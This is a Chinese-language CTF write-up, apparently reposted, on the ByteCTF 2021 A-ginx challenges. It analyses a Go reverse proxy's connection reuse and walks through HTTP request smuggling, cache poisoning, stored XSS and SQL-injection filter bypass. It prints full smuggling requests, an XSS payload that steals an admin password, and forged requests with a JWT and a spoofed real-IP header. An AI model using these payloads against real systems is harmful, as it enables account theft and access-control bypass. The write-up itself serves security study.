Bytectf2021 A-ginx1/2

admin 2022年1月20日02:36:31评论62 views字数 6737阅读22分27秒阅读模式

0x00 背景

这要命的大二上总算结束了(虽然还有线上考☹)
终于可以好好看看之前的比赛题。花了一天的时间,终于把Bytectf2021的Aginx系列看了个大概。

0x01

官方wp(agnix)
官方认证高质量wp
官方wp(aginx2)

0x02 题目搭建

作者给了题目环境,但直接用会经典报错。经过实际踩坑,发现应该把/A-GINX/front/package-lock.json中的http://bnpm.byted.org/替换成https://registry.npmjs.org/,推测那个应该是字节自己的,反正我是访问不到。然后还需要把/A-GINX/Dockerfile_bot中的换源操作及后面相关命令去掉,这个我很不解,反正用他的那个清华源下到一半就寄了,明明浏览器都能访问到,构建docker的时候就是不行。
然后我搭建题目上就没遇到问题了。

0X03 A-ginx

这个题按照作者的说法是:请求走私 + 缓存攻击 + XSS
题目由四个部分构成:
1.vue实现的一个小作文平台
2.go实现的处理静态及缓存文件的用户可见后端,并将复杂请求转发给‘后后端’
3.go实现的处理复杂请求的,对用户透明的‘后后端’
4.用selenium的WebDriver实现的自动化浏览器,来模拟admin对新文章检查

然后要想对题目有更深得了解,就要仔细看源码了
因为没接触过selenium,所以不太看得懂bot在干嘛,看了一下教程。bot监听在一个端口等待tcp连接,连接成功后给他一个文章uuid,bot会以admin的身份访问。可以看到文章uuid这个存在xss的可能。Bytectf2021 A-ginx1/2
但由于base64encode和atob一折腾,堆叠js代码就没可能。
但可以../穿越/#/articles,因为一个带有../的url,大多数服务端会返回302跳转。本题中通过源码可以得知这一点。
Bytectf2021 A-ginx1/2
js和浏览器又会默认进行跳转。例如你现在点击这个连接(https://www.baidu.com/a/../b )会直接看到
Bytectf2021 A-ginx1/2
(但抓包发现百度没有302,而是直接返回/b的回显)

所以下手点就是a-ginx服务了,查看他的路由(\A-ginx\a-ginx\cmd\server\main.go)。
Bytectf2021 A-ginx1/2
发现所有对https://aginx/ 的请求均在这个方法中处理。
仔细分析这个方法,先在getClient()注册了之后可能用到的代理。
然后通过正则请求路径,判断请求的是否为静态文件,是则直接返回。
Bytectf2021 A-ginx1/2
否则,再通过判断请求路径是否包含/static/,来判断是否存在缓存,若存在则返回。
否则,就将请求转给代理处理(‘后后端’)。处理结束后,判断请求路径是否含有/static/,若含有,则将路径与回显保存为缓存。下次再请求时不经过代理即可处理。
但从wp中可以看到,问题出在请求的代理抓发过程。继续深入getClient()
Bytectf2021 A-ginx1/2
当中使用了tcp与代理端建立连接,之后将客户请求全部原样发给代理端。但中间会经历一次url转码,这便是问题所在,因为一个tcp连接可以发送不止一个http请求。而不同http请求是以字符(%0D%0A%0D%0A)分割的。
继续看代理的部分。同样先看路由
Bytectf2021 A-ginx1/2
/flag即可获取flag。但GetFlag()中限制了用户为admin,IP在172.16.0.0/12内。这两个在题目中均无法伪造。所以只能通过bot来访问,并通过xss带出。所以目标明确了,需要寻找一处xss。
入口点肯定是bot了,但要如何利用呢?通过分析代理端的那些路由,可以发现最有可能出问题的就是PreviewArticles,
Bytectf2021 A-ginx1/2
Bytectf2021 A-ginx1/2
我们可以把xss代码放到PreviewArticles中,但要想要bot访问到,可行的方法就是将其存入缓存,这意味着请求路径中需要有/static/。所以wp中提到的payload便出来了。

GET /static/xxx%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921

title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D

可以看到,payload中的url经过一次urldecode后,提前结束了get请求,开始了新的post请求,配合后面的body部分,可以做到将PreviewArticles返回的数据,缓存在这个特殊url下。
Bytectf2021 A-ginx1/2
成功缓存后会回显200,并且在浏览器访问也可以访问得到。第一次总会404,第二次就好了。
Bytectf2021 A-ginx1/2
Bytectf2021 A-ginx1/2
将url前面拼接../../后,整体再urlencode一次(因为bot会又有一次urldecode),发送给bot,bot就可以访问到我们注入的缓存,其中写入xss代码,就可以完成题目。最后的这一步,两个wp有两个方法,下面进行分析一下。
对于impakho师傅的,他利用添加文章时是使用Authorization进行身份验证的这一特点,通过让bot使用自己的Authorization发布文章,文章内容便是flag。具体来说就是利用缓存欺骗与请求走私进行xss,再通过xss访问/flag。而作者的预期解中,也是通过缓存欺骗与请求走私进行xss,只不过获取/flag时使用了请求走私。这样唯一的好处是不需要知道admin密码,因为请求走私的时候会带有admin凭证,而xss进行/flag则需要自己设置admin凭证。
而既然请求走私可以获取/flag,而我们又可将走私的回显污染到缓存中,并且我们可以访问到缓存。那么我们为什么不能将/flag直接污染到缓存中呢。着就是作者最后提到的简单的非预期。
payload如下。向bot发送两次即可,通过访问/static/oooooo.json得到flag。

..%25252f..%25252fstatic%252foooooo.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag

Bytectf2021 A-ginx1/2
首先这个paylaod经过两次urlencode。(bot发给agnix一次,agnix转给backend又一次)
可以发现传到backend的请求为

/v/articles/..%2f..%2fstatic/oooooo.json HTTP/1.1
Host: localhost
Connection: Keep-Alive

GET /flag

通过backend日志也可以看到带有../的请求返回了跳转,并在后买跟随了/flag请求。
Bytectf2021 A-ginx1/2
而在agnix中即认为200回显,就会将返回的/flag与跳转后的请求路径/static/oooooo.json缓存。

0x04

虽然题目的大概知识点搞清楚了,但有一些东西感觉并没有深入了解,比如有关Trace-IdCache-Control的部分,在agnix中并没有深入考察。但在agnix2中就需要仔细分析了。

0x05 agnix2

搭建环境的方法同上。
agnix2中不再有bot可以用来xss。但其他的地方与aginx基本相同。有相同的前端,一个后端,一个backend。
与agnix相比,agnix2中存在SQL注入。但后端处存在过滤,所以考虑走私绕过。这个方法在后面IP欺骗也要用,可以说是agnix2中的一个核心考点。
exp在官方的wp中给出了,核心就是连续发送了两次请求,注入paylaod在第一个请求中,而exp最终只获取了第二个请求的回显。
使用burpsuit抓一下这两个请求。
请求1:
Bytectf2021 A-ginx1/2
请求1回显:
Bytectf2021 A-ginx1/2
请求2:
Bytectf2021 A-ginx1/2
请求2回显:
Bytectf2021 A-ginx1/2
先看第一个,乍一看,第一个请求像是把两个请求放到了一起。但在请求头中Content-Length: 0,后面的body,便为一个完整的注入请求,但回显404似乎和body无关。而第二的请求的回显应该才是注入请求的回显。仔细观察,会发现两个请求有同样的Trace-Id着意味着两个请求为同一tcp连接下的。
Bytectf2021 A-ginx1/2
通过进一步分析后端与backend交互的过程,可以发现,在后端接收到请求,调用getClient(r.RemoteAddr)为每个请求创建与backend的tcp连接时。同一ip的tcp连接存在复用时间,也就是同一个ip可以使用一个tcp连接向backend发送多个http请求。
Bytectf2021 A-ginx1/2
继续向后分析,我们每与后端进行一次连接,通过proxy_pass.DoProxy(proxy, r, body),后端便会将数据全部通过建立的tcp连接发给backend,backend进行处理,并将结果返回给后端,后端再将结果返回给我们。总结一下,我们与后端是1对1的关系(我发给后端一个请求,后端回复我一个请求),后端与backend是多对1的关系(后端可能在一次tcp连接中发了几个http请求,但backend处理完一个后就会返回结果了,backend未处理的请求会在下次有请求时继续处理)。
Bytectf2021 A-ginx1/2
所以回到SQL注入的exp上,请求1向backend发送了两个请求,backend处理完第一个后(1-7行)后返回结果404给后端,后端再返给我们。随着我们接着使用这个tcp连接发起请求,后端再将我们的请求转给backend,backend接着之前的位置,继续向后处理,便处理到请求1的9-12行,最后将注入结果返回给我们。这样也就绕过了在后端中对GET查询字段的过滤。
然后就可以顺利得到数据库中的admin密码。
但要想得到flag,还需绕过ip限制,题目中使用自定义的XFF头来向backend告知真实ip,所以如果我们知道了这个XFF头,也就可以伪造ip了。
分析代码,XFF头会被加到从后端向backend转发的请求头中。那我们就可以继续利用走私注入的思路,我们一起发几个http请求到backend,通过伪造Content-Length,使下一个请求的请求头包含在上一个请求的body中,配合程序逻辑,将body回显给我们。
最后构造的请求如下

GET /vv/ HTTP/1.1
Host: localhost
Connection: Keep-Alive
Content-Length: 0

POST /v/articles/preview HTTP/1.1
Host: 127.0.0.1:30443
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-httpx/0.21.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 316

title=1&content=

POST /v/articles/preview HTTP/1.1
Host: 127.0.0.1:30443
Accept: */*
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: python-httpx/0.21.1
Content-Length: 400

连续发送两次,即可得到目标请求头。
Bytectf2021 A-ginx1/2
最后使用admin凭证与得到的XFF头进行ip欺骗,就可以得到flag。

GET /flag HTTP/1.1
Host: 127.0.0.1:30443
Accept: */*
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDE4MjE4MTUsInVzZXJuYW1lIjoiYWRtaW4ifQ.jt3xHNYobGtFIKFY3ZKhA7VUYvKfWP1GfMrT0FyrWtA
User-Agent: python-httpx/0.21.1
X-Sup3r-DiAnA-Re4l-Ip: 172.22.0.1:45958

wp_editor_md_254f1e754bd6cccd3e98f0b9dcf0f4ac.jpg

0x06

通过这两个题,着实是学到了很多。也是第一次从这么底层去分析http请求。虽然真实环境上基于Content-Length的欺骗并不常见,作者也说了,他是通过更改了golang.org/x/net/http2 中的东西,才完成的aginx2。但也确实让我对http1.1与http2产生了好奇,这几天可能会继续学习相关的内容。
虽然题目做完了,但疑问还是有很多。为什么agnix2的注入方法无法用到aginx1上?我自己在对比两个环境相关源码的时候,能找到的不同就是二者的查询语句有些许不同,但也没分析出注入造成的原因。希望明白的师傅可以指点一下。

A-ginx

db.DB.Select("`articles`.*, GROUP_CONCAT(`tags`.`tags`) as tags").Table("articles").Joins("LEFT JOIN tags ON articles.id = tags.aid", username).Where("(articles.author = ? OR articles.is_public = 1)", username).Where(*allow).Group("id").Limit(pageSize).Offset(pageSize * pageNum).Find(&articles)

A-ginx2

db.DB.Select("`articles`.*, GROUP_CONCAT(`tags`.`tags`) as tags").Table("articles").Joins("LEFT JOIN tags ON articles.id = tags.aid AND (articles.author = ? OR articles.is_public = 1)", username).Where(*allow).Group("id").Limit(pageSize).Offset(pageSize * pageNum).Find(&articles)

FROM:tttang . com

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月20日02:36:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bytectf2021 A-ginx1/2http://cn-sec.com/archives/744739.html

发表评论

匿名网友 填写信息